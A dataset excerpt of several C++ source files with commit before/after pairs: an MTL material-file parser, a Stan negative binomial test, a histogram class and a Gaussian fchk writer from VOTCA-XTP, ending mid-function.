ascii::space_type> {\n \n xyz_parser()\n : xyz_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::xyz_parser::xyz_parser\");\n \n using qi::debug;\n using qi::float_;\n using qi::lit;\n \n start %=\n lit(\"xyz\") >> \/\/ \"xyz\"\n float_ >> \/\/ x\n float_ >> \/\/ y\n float_ \/\/ z\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, glm::vec3(), ascii::space_type> start;\n \n };\n \n template <typename IT>\n struct float_parser : qi::grammar<IT, float(), ascii::space_type> {\n \n float_parser()\n : float_parser::base_type(start)\n {\n TRACE_NEVER(\"scene::file::mtl::<unnamed>::float_parser::float_parser\");\n \n using qi::debug;\n using qi::float_;\n \n start %=\n float_\n ; \n \n \/\/ debug(start);\n }\n \n qi::rule<IT, float(), ascii::space_type> start;\n \n };\n \n \/\/ variables, internal\n \n \/\/ functions, internal\n\n template <typename P, typename O>\n bool\n parse(std::string const& exp, O& o)\n {\n TRACE_NEVER(\"scene::file::mtl::<unamed>::parse<\" +\n support::demangle(typeid(P)) + \",\" + support::demangle(typeid(O)) + \">\");\n \n auto first (exp.begin());\n auto last (exp.end());\n bool const result(phrase_parse(first, last, P(), ascii::space, o));\n\n#if 0 \/\/ defined(UKACHULLDCS_USE_TRACE)\n if (result && first == last) {\n std::cout << support::trace::prefix() << \"scene::file::mtl::parse<\"\n << support::demangle(typeid(P)) << ',' << support::demangle(typeid(O)) << \">: \"\n << boost::fusion::tuple_open('[')\n << boost::fusion::tuple_close(']')\n << boost::fusion::tuple_delimiter(\", \")\n << \"in:'\" << exp << \"', out:\" << o\n << std::endl;\n } else {\n std::cout << support::trace::prefix() << \"scene::file::mtl::parse<\"\n << support::demangle(typeid(P)) << ',' << support::demangle(typeid(O)) << \">: \"\n << \"failed to parse '\" << exp << \"'\" << std::endl;\n }\n#endif\n \n return (result && first == last);\n }\n\n \/*\n * see [http:\/\/www.wikipedia.org\/wiki\/SRGB]\n *\/\n glm::vec3\n xyz_to_rgb(glm::vec3 const& xyz)\n {\n static float const a( 0.055);\n static float const b(12.920);\n static glm::mat3 const c(+3.2406, -1.5372, -0.4986,\n -0.9689, +1.8758, +0.0415,\n +0.0557, -0.2040, +1.0570);\n \n glm::vec3 result(c * (xyz \/ glm::vec3(100.0)));\n \n result.r = (result.r > 0.0031308) ? ((1.0 + a) * std::pow(result.r, 1\/2.4)) : (b * result.r);\n result.g = (result.g > 0.0031308) ? ((1.0 + a) * std::pow(result.g, 1\/2.4)) : (b * result.g);\n result.b = (result.b > 0.0031308) ? ((1.0 + a) * std::pow(result.b, 1\/2.4)) : (b * result.b);\n \n return result;\n }\n \n} \/\/ namespace {\n\nnamespace scene {\n\n namespace file {\n\n namespace mtl {\n \n \/\/ variables, exported\n \n \/\/ functions, exported\n\n list_type\n load(std::istream& is)\n {\n TRACE(\"scene::file::mtl::load(std::istream)\");\n\n list_type result;\n\n {\n result.push_back(new scene::object::material);\n\n (*result.rbegin())->name = \"default material\";\n }\n \n std::string line;\n\n while (std::getline(is, line)) {\n if (line.empty() || ('#' == line[0]) || ('!' == line[0]) || ('$' == line[0])) {\n continue;\n }\n\n static boost::char_separator<char> const token_separator_space(\" \");\n \n using tokenizer = boost::tokenizer<boost::char_separator<char>>;\n \n tokenizer tokens(line, token_separator_space);\n \n \/\/ bump -options args filename\n \n if (\"d\" == *tokens.begin()) { \/\/ d [-halo] f\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float d;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, d)) {\n (*result.rbegin())->alpha = d;\n }\n }\n\n else if (\"illum\" == *tokens.begin()) { \/\/ illum #\n \/\/ nothing to do (yet)\n }\n \n else if (\"Ka\" == *tokens.begin()) { \/\/ Ka [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->ambient = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->ambient = xyz_to_rgb(c);\n }\n }\n\n else if (\"Ke\" == *tokens.begin()) { \/\/ Ke [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->emission = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->emission = xyz_to_rgb(c);\n }\n }\n \n else if (\"Kd\" == *tokens.begin()) { \/\/ Kd [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->diffuse = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->diffuse = xyz_to_rgb(c);\n }\n }\n\n else if (\"Ks\" == *tokens.begin()) { \/\/ Ks [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->specular = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->specular = xyz_to_rgb(c);\n }\n }\n \n \/\/ else if (\"map_d\" == *tokens.begin()) { \/\/ map_d -options args filename\n \/\/ }\n\n \/\/ else if (\"map_Ka\" == *tokens.begin()) { \/\/ map_Ka -options args filenam\n \/\/ }\n\n \/\/ else if (\"map_Ke\" == *tokens.begin()) { \/\/ map_Ka -options args filenam\n \/\/ }\n \n \/\/ else if (\"map_Kd\" == *tokens.begin()) { \/\/ map_Kd -options args filename\n \/\/ }\n \n \/\/ else if (\"map_Ks\" == *tokens.begin()) { \/\/ map_Ks -options args filename\n \/\/ }\n\n \/\/ else if (\"map_Ns\" == *tokens.begin()) { \/\/ map_Ns -options args filename\n \/\/ }\n \n else if (\"Ni\" == *tokens.begin()) { \/\/ Ni f\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float r;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, r)) {\n (*result.rbegin())->refraction = r;\n }\n }\n \n else if (\"Ns\" == *tokens.begin()) { \/\/ Ns exp\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float s;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, s)) {\n (*result.rbegin())->shininess = s;\n }\n }\n \n else if (\"newmtl\" == *tokens.begin()) { \/\/ newmtl <string>\n result.push_back(new scene::object::material);\n\n (*result.rbegin())->name = std::string(line.begin() + (*tokens.begin()).length() + 1,\n line.end());\n }\n \n \/\/else if (\"refl\" == *tokens.begin()) { \/\/refl -type <type> -options -args filename\n \/\/}\n \n else if (\"Tf\" == *tokens.begin()) { \/\/ Tf [r g b] | [spectral file.refl f] | [xyz x y z]\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n glm::vec3 c;\n \n if (parse<rgb_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->transmission = c;\n } else if (parse<xyz_parser<std::string::const_iterator>>(exp, c)) {\n (*result.rbegin())->transmission = xyz_to_rgb(c);\n }\n }\n \n else if (\"Tr\" == *tokens.begin()) { \/\/ Tr x (== 1 - alpha)\n std::string const exp(line.begin() + (*tokens.begin()).length(), line.end());\n float t;\n \n if (parse<float_parser<std::string::const_iterator>>(exp, t)) {\n (*result.rbegin())->alpha = (1.0f - t);\n }\n }\n\n else if (\"TWOSIDE\" == *tokens.begin()) { \/\/ TWOSIDE (non-standard)\n (*result.rbegin())->front = true;\n (*result.rbegin())->back = true;\n }\n\n#if 0 \/\/ defined(UKACHULLDCS_USE_TRACE)\n else {\n std::cout << support::trace::prefix() << \"scene::file::mtl::load(std::istream): \"\n << \"unhandled token '\" << *tokens.begin() << \"'; skipping \"\n << \"whole line '\" << line << \"'\" << std::endl;\n }\n#endif\n }\n\n return result;\n }\n \n list_type\n load(std::string const& a)\n {\n TRACE(\"scene::file::mtl::load(std::string) [\" + a + \"]\");\n\n list_type result;\n std::ifstream ifs(a, std::ios::in|std::ios::binary);\n \n if (ifs.is_open()) {\n result = load(ifs);\n }\n \n return result;\n }\n \n bool\n save(std::ostream&, list_type const&)\n {\n TRACE(\"scene::file::mtl::save(std::ostream)\");\n\n return false;\n }\n \n bool\n save(std::string const& a, list_type const& b)\n {\n TRACE(\"scene::file::mtl::save(std::string) [\" + a + \"]\");\n\n bool result(false);\n std::ofstream ofs(a, std::ios::out|std::ios::binary|std::ios::trunc);\n\n if (ofs.is_open()) {\n result = save(ofs, b);\n }\n \n return result;\n }\n \n } \/\/ namespace mtl {\n \n } \/\/ namespace file {\n \n} \/\/ namespace scene {\n<|endoftext|>"} {"text":"<commit_before>#define _LOG_PROB_ neg_binomial_log\n#include <stan\/prob\/distributions\/univariate\/discrete\/neg_binomial.hpp>\n#include <stan\/prob\/distributions\/univariate\/discrete\/binomial.hpp>\n\nusing std::vector;\nusing std::numeric_limits;\nusing stan::agrad::var;\n\nclass AgradDistributionsNegBinomial : public AgradDistributionTest {\npublic:\n void valid_values(vector<vector<double> >& parameters,\n vector<double>& log_prob) {\n vector<double> param(3);\n\n param[0] = 10; \/\/ n\n param[1] = 2.0; \/\/ alpha\n param[2] = 1.5; \/\/ beta\n parameters.push_back(param);\n log_prob.push_back(-7.786663); \/\/ expected log_prob\n\n param[0] = 100; \/\/ n\n param[1] = 3.0; \/\/ alpha\n param[2] = 3.5; \/\/ beta\n parameters.push_back(param);\n log_prob.push_back(-142.6147); \/\/ expected log_prob\n\n param[0] = 13;\n param[1] = 1e11; \/\/ alpha > 1e10, causes redux to Poisson\n param[2] = 1e10; \/\/ equiv to Poisson(1e11\/1e10) = Poisson(10)\n parameters.push_back(param);\n log_prob.push_back(-2.618558); \/\/ log poisson(13|10)\n }\n \n void invalid_values(vector<size_t>& index, \n vector<double>& value) {\n \/\/ n\n index.push_back(0U);\n value.push_back(-1);\n \n \/\/ alpha\n index.push_back(1U);\n value.push_back(0);\n \n \/\/ beta\n index.push_back(2U);\n value.push_back(0);\n }\n\n template <class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log(n, alpha, beta);\n }\n\n template <bool propto, \n\t class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log<propto>(n, alpha, beta);\n }\n \n template <bool propto, \n\t class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9, \n\t class Policy>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log<propto>(n, alpha, beta, Policy());\n }\n\n template <class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n var log_prob_function(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t\t\tconst T3&, const T4&, const T5&, \n\t\t\tconst T6&, const T7&, const T8&, \n\t\t\tconst T9&) {\n using std::log;\n using stan::math::binomial_coefficient_log;\n using stan::math::log1m;\n using stan::math::multiply_log;\n using stan::prob::include_summand;\n\n var logp(0);\n \/\/ Special case where negative binomial reduces to Poisson\n if (alpha > 1e10) {\n if (include_summand<true>::value)\n logp -= lgamma(n + 1.0);\n if (include_summand<true,T_shape>::value ||\n include_summand<true,T_inv_scale>::value) {\n typename stan::return_type<T_shape, T_inv_scale>::type lambda;\n lambda = alpha \/ beta;\n logp += multiply_log(n, lambda) - lambda;\n }\n return logp;\n }\n \/\/ More typical cases\n if (include_summand<true,T_shape>::value)\n if (n != 0)\n logp += binomial_coefficient_log<typename stan::scalar_type<T_shape>::type>\n (n + alpha - 1.0, n);\n if (include_summand<true,T_shape,T_inv_scale>::value)\n logp += -n * log1p(beta) \n + alpha * log(beta \/ (1 + beta));\n return logp;\n }\n};\n\nconst double p = 0.57;\nconst double beta = p \/ (1.0 - p);\n\nTEST(ProbDistributionsNegBinomialCDF,Values) {\n EXPECT_FLOAT_EQ(0.042817421, stan::prob::neg_binomial_cdf(30, 24, beta));\n \n \/\/ Consistency with implemented Binomial\n EXPECT_FLOAT_EQ(stan::prob::binomial_cdf(24, 54, p), stan::prob::neg_binomial_cdf(30, 24, beta));\n}\n<commit_msg>fixed neg_binomial test<commit_after>\/\/ Arguments: Ints, Doubles, Doubles\n#include <stan\/prob\/distributions\/univariate\/discrete\/neg_binomial.hpp>\n#include <stan\/prob\/distributions\/univariate\/discrete\/binomial.hpp>\n\nusing std::vector;\nusing std::numeric_limits;\nusing stan::agrad::var;\n\nclass AgradDistributionsNegBinomial : public AgradDistributionTest {\npublic:\n void valid_values(vector<vector<double> >& parameters,\n vector<double>& log_prob) {\n vector<double> param(3);\n\n param[0] = 10; \/\/ n\n param[1] = 2.0; \/\/ alpha\n param[2] = 1.5; \/\/ beta\n parameters.push_back(param);\n log_prob.push_back(-7.786663); \/\/ expected log_prob\n\n param[0] = 100; \/\/ n\n param[1] = 3.0; \/\/ alpha\n param[2] = 3.5; \/\/ beta\n parameters.push_back(param);\n log_prob.push_back(-142.6147); \/\/ expected log_prob\n\n param[0] = 13;\n param[1] = 1e11; \/\/ alpha > 1e10, causes redux to Poisson\n param[2] = 1e10; \/\/ equiv to Poisson(1e11\/1e10) = Poisson(10)\n parameters.push_back(param);\n log_prob.push_back(-2.618558); \/\/ log poisson(13|10)\n }\n \n void invalid_values(vector<size_t>& index, \n vector<double>& value) {\n \/\/ n\n index.push_back(0U);\n value.push_back(-1);\n \n \/\/ alpha\n index.push_back(1U);\n value.push_back(0);\n \n \/\/ beta\n index.push_back(2U);\n value.push_back(0);\n }\n\n template <class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log(n, alpha, beta);\n }\n\n template <bool propto, \n\t class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log<propto>(n, alpha, beta);\n }\n \n template <bool propto, \n\t class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9, \n\t class Policy>\n typename stan::return_type<T_shape,T_inv_scale>::type \n log_prob(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t const T3&, const T4&, const T5&, \n\t const T6&, const T7&, const T8&, \n\t const T9&) {\n return stan::prob::neg_binomial_log<propto>(n, alpha, beta, Policy());\n }\n\n template <class T_n, class T_shape, class T_inv_scale,\n typename T3, typename T4, typename T5, \n typename T6, typename T7, typename T8, \n typename T9>\n var log_prob_function(const T_n& n, const T_shape& alpha, const T_inv_scale& beta,\n\t\t\tconst T3&, const T4&, const T5&, \n\t\t\tconst T6&, const T7&, const T8&, \n\t\t\tconst T9&) {\n using std::log;\n using stan::math::binomial_coefficient_log;\n using stan::math::log1m;\n using stan::math::multiply_log;\n using stan::prob::include_summand;\n\n var logp(0);\n \/\/ Special case where negative binomial reduces to Poisson\n if (alpha > 1e10) {\n if (include_summand<true>::value)\n logp -= lgamma(n + 1.0);\n if (include_summand<true,T_shape>::value ||\n include_summand<true,T_inv_scale>::value) {\n typename stan::return_type<T_shape, T_inv_scale>::type lambda;\n lambda = alpha \/ beta;\n logp += multiply_log(n, lambda) - lambda;\n }\n return logp;\n }\n \/\/ More typical cases\n if (include_summand<true,T_shape>::value)\n if (n != 0)\n logp += binomial_coefficient_log<typename stan::scalar_type<T_shape>::type>\n (n + alpha - 1.0, n);\n if (include_summand<true,T_shape,T_inv_scale>::value)\n logp += -n * log1p(beta) \n + alpha * log(beta \/ (1 + beta));\n return logp;\n }\n};\n\nconst double p = 0.57;\nconst double beta = p \/ (1.0 - p);\n\nTEST(ProbDistributionsNegBinomialCDF,Values) {\n EXPECT_FLOAT_EQ(0.042817421, stan::prob::neg_binomial_cdf(30, 24, beta));\n \n \/\/ Consistency with implemented Binomial\n EXPECT_FLOAT_EQ(stan::prob::binomial_cdf(24, 54, p), stan::prob::neg_binomial_cdf(30, 24, beta));\n}\n<|endoftext|>"} {"text":"<commit_before>\/* \n * File: histogramnew.cc\n * Author: ruehle\n *\n * Created on March 11, 2009, 4:29 PM\n *\/\n\n#include \"histogramnew.h\"\n\nHistogramNew::HistogramNew()\n{\n _min=_max=_step=0;\n _weight = 1.;\n _periodic=false;\n}\n\nvoid HistogramNew::Initialize(double min, double max, int nbins)\n{\n _min = min; _max = max;\n _step = (_max - _min)\/nbins;\n _weight = 1.;\n _data.resize(nbins); \n _nbins = nbins;\n \n int i;\n for(double v=_min, i=0; i<nbins; v+=_step,++i)\n _data.x(i)=v;\n \n _data.y()=ub::zero_vector<double>(_nbins); \n _data.flags()=ub::scalar_vector<char>(_nbins, 'i'); \n}\n\nvoid HistogramNew::Process(double &v)\n{\n int i = (int) ((v - _min) \/ _step);\n \n if (i < 0 || i >= _nbins) {\n if(!_periodic) return;\n if(i<0) i = _nbins - ((-i) % _nbins);\n else i = i % _nbins; \n }\n _data.y(i) += _weight;\n} \n\nvoid HistogramNew::Normalize()\n{\n double area = 0;\n \n \n area=ub::norm_1(_data.x()) * _step;\n \n _weight \/= area;\n double scale = 1.\/area;\n \n _data.y() *= scale; \n}\n\nvoid HistogramNew::Clear()\n{\n _weight = 1.;\n _data.y() = ub::zero_vector<double>(_nbins);\n}<commit_msg>interval now centered around bins<commit_after>\/* \n * File: histogramnew.cc\n * Author: ruehle\n *\n * Created on March 11, 2009, 4:29 PM\n *\/\n\n#include \"histogramnew.h\"\n\nHistogramNew::HistogramNew()\n{\n _min=_max=_step=0;\n _weight = 1.;\n _periodic=false;\n}\n\nvoid HistogramNew::Initialize(double min, double max, int nbins)\n{\n _min = min; _max = max;\n _step = (_max - _min)\/nbins;\n _weight = 1.;\n _data.resize(nbins); \n _nbins = nbins;\n \n int i;\n for(double v=_min, i=0; i<nbins; v+=_step,++i)\n _data.x(i)=v;\n \n _data.y()=ub::zero_vector<double>(_nbins); \n _data.flags()=ub::scalar_vector<char>(_nbins, 'i'); \n}\n\nvoid HistogramNew::Process(double &v)\n{\n int i = (int) ((v - _min) \/ _step + 0.5);\n \n if (i < 0 || i >= _nbins) {\n if(!_periodic) return;\n if(i<0) i = _nbins - ((-i) % _nbins);\n else i = i % _nbins; \n }\n _data.y(i) += _weight;\n} \n\nvoid HistogramNew::Normalize()\n{\n double area = 0;\n \n \n area=ub::norm_1(_data.x()) * _step;\n \n _weight \/= area;\n double scale = 1.\/area;\n \n _data.y() *= scale; \n}\n\nvoid HistogramNew::Clear()\n{\n _weight = 1.;\n _data.y() = ub::zero_vector<double>(_nbins);\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2009-2021 The VOTCA Development Team\n * (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\")\n *\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"votca\/xtp\/gaussianwriter.h\"\n#include \"votca\/xtp\/basisset.h\"\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/format.hpp>\n#include <sstream>\n#include <votca\/tools\/eigenio_matrixmarket.h>\n\nnamespace votca {\nnamespace xtp {\n\n\/*\n * This function converts VOTCA's L enum to the gaussian equivalent.\n * Gaussian uses a minus sign to indicate spherical shells, but -1 for sp.\n *\/\nIndex GaussianWriter::toGaussianL(L l) const {\n switch (l) {\n case L::S:\n return 0;\n case L::P:\n return 1;\n default:\n return -1 * static_cast<Index>(l);\n }\n}\n\nstd::string GaussianWriter::reorderedMOCoefficients(\n const Orbitals& orbitals) const {\n OrbReorder reorder(gaussianOrder, gaussianMultipliers, true);\n Eigen::MatrixXd moCoefficients = orbitals.MOs().eigenvectors();\n reorder.reorderOrbitals(moCoefficients, orbitals.SetupDftBasis());\n\n \/\/ put the reordered mos in a string\n std::stringstream mos_string;\n\n int temp_int = 1;\n for (Index i = 0; i < moCoefficients.rows(); ++i) {\n for (Index j = 0; j < moCoefficients.cols(); ++j) {\n mos_string << boost::format(\"%16.8e\") % moCoefficients(j, i);\n if (temp_int % 5 == 0) {\n mos_string << \"\\n\";\n }\n temp_int++;\n }\n }\n mos_string << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n\n return mos_string.str();\n}\n\nstd::string GaussianWriter::densityMatrixToString(\n const Orbitals& orbitals) const {\n OrbReorder reorder(gaussianOrder, gaussianMultipliers, true);\n Eigen::MatrixXd density = orbitals.DensityMatrixGroundState();\n reorder.reorderOperator(density, orbitals.SetupDftBasis());\n\n \/\/ put the reordered mos in a string\n std::stringstream density_string;\n\n int temp_int = 1;\n\n for (Index i = 0; i < density.rows(); ++i) {\n for (Index j = 0; j <= i; ++j) {\n density_string << boost::format(\"%16.8e\") % density(i, j);\n if (temp_int % 5 == 0) {\n density_string << \"\\n\";\n }\n temp_int++;\n }\n }\n density_string << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n\n return density_string.str();\n}\n\nvoid GaussianWriter::WriteFile(const std::string& basename,\n const Orbitals& orbitals) const {\n if (!orbitals.hasDFTbasisName()) {\n throw std::runtime_error(\".orb file does not contain a basisset name\");\n }\n\n AOBasis basis = orbitals.SetupDftBasis();\n\n std::ofstream outFile(basename + \".fchk\");\n\n if (outFile.is_open()) {\n XTP_LOG(Log::error, _log)\n << \"Start writing to \" << (basename + \".fchk\") << std::flush;\n int temp_int;\n \/\/ job description\n outFile << basename << \", fchk created by VOTCA-XTP\\n\";\n outFile << \"SP RHF \" << orbitals.getDFTbasisName()\n << \"\\n\";\n\n \/\/ clang-format off\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of atoms\" % \"I\" % orbitals.QMAtoms().size();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Charge\" % \"I\" % 0;\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Multiplicity\" % \"I\" % 1;\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of electrons\" % \"I\" % (2*orbitals.getNumberOfAlphaElectrons());\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of alpha electrons\" % \"I\" % orbitals.getNumberOfAlphaElectrons();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of beta electrons\" % \"I\" % orbitals.getNumberOfAlphaElectrons();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of basis functions\" % \"I\" % basis.AOBasisSize();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of independent functions\" % \"I\" % basis.AOBasisSize();\n \/\/ clang-format on\n \/\/ ATOMIC NUMBERS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Atomic numbers\" % \"I\" %\n orbitals.QMAtoms().size();\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n outFile << boost::format(\"%12d\") % atom.getElementNumber();\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ NUCLEAR CHARGES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Nuclear charges\" % \"R\" %\n orbitals.QMAtoms().size();\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n outFile << boost::format(\"%16.8e\") % (double)atom.getNuccharge();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ CURRENT CARTESIAN COORDINATES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Current cartesian coordinates\" % \"R\" %\n (3 * orbitals.QMAtoms().size());\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n for (int i = 0; i < 3; ++i) {\n outFile << boost::format(\"%16.8e\") % atom.getPos()(i);\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ NUMBER OF PRIMITIVE SHELLS\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of primitive shells\" %\n \"I\" % basis.getNumberOfPrimitives();\n \/\/ NUMBER OF CONTRACTED SHELLS\n outFile << boost::format(\"%-43s%-2s%15d\\n\") %\n \"Number of contracted shells\" % \"I\" % basis.getNumofShells();\n \/\/ PURE\/CARTESIAN D\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Pure\/Cartesian d shells \" %\n \"I\" % 0;\n \/\/ PURE\/CARTESIAN F\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Pure\/Cartesian f shells \" %\n \"I\" % 0;\n \/\/ HIGHEST ANGULAR MOMENTUM\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Highest angular momentum \" %\n \"I\" % basis.getMaxL();\n \/\/ HIGHEST ANGULAR MOMENTUM\n outFile << boost::format(\"%-43s%-2s%15d\\n\") %\n \"Largest degree of contraction \" % \"I\" % basis.getMaxNprim();\n \/\/ SHELL TYPES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Shell types\" % \"I\" %\n (basis.getNumofShells());\n temp_int = 1;\n for (const auto& shell : basis) {\n outFile << boost::format(\"%12d\") % toGaussianL(shell.getL());\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ NR OF PRIMITIVES PER SHELL\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Number of primitives per shell\" % \"I\" %\n (basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n outFile << boost::format(\"%12d\") % shell.getSize();\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ SHELL TO ATOM MAP\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Shell to atom map\" %\n \"I\" % (basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n \/\/ Gaussian indices start at 1, hence the + 1\n outFile << boost::format(\"%12d\") % (shell.getAtomIndex() + 1);\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ PRIMITIVE EXPONENTS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Primitive exponents\" %\n \"R\" % basis.getNumberOfPrimitives();\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (const AOGaussianPrimitive& prim : shell) {\n outFile << boost::format(\"%16.8e\") % prim.getDecay();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ CONTRACTION COEFFICIENTS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Contraction coefficients\" % \"R\" %\n basis.getNumberOfPrimitives();\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (const AOGaussianPrimitive& prim : shell) {\n outFile << boost::format(\"%16.8e\") % prim.getContraction();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ SHELL COORDINATES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Coordinates of each shell\" % \"R\" %\n (3 * basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (int i = 0; i < 3; ++i) {\n outFile << boost::format(\"%16.8e\") % shell.getPos()(i);\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ 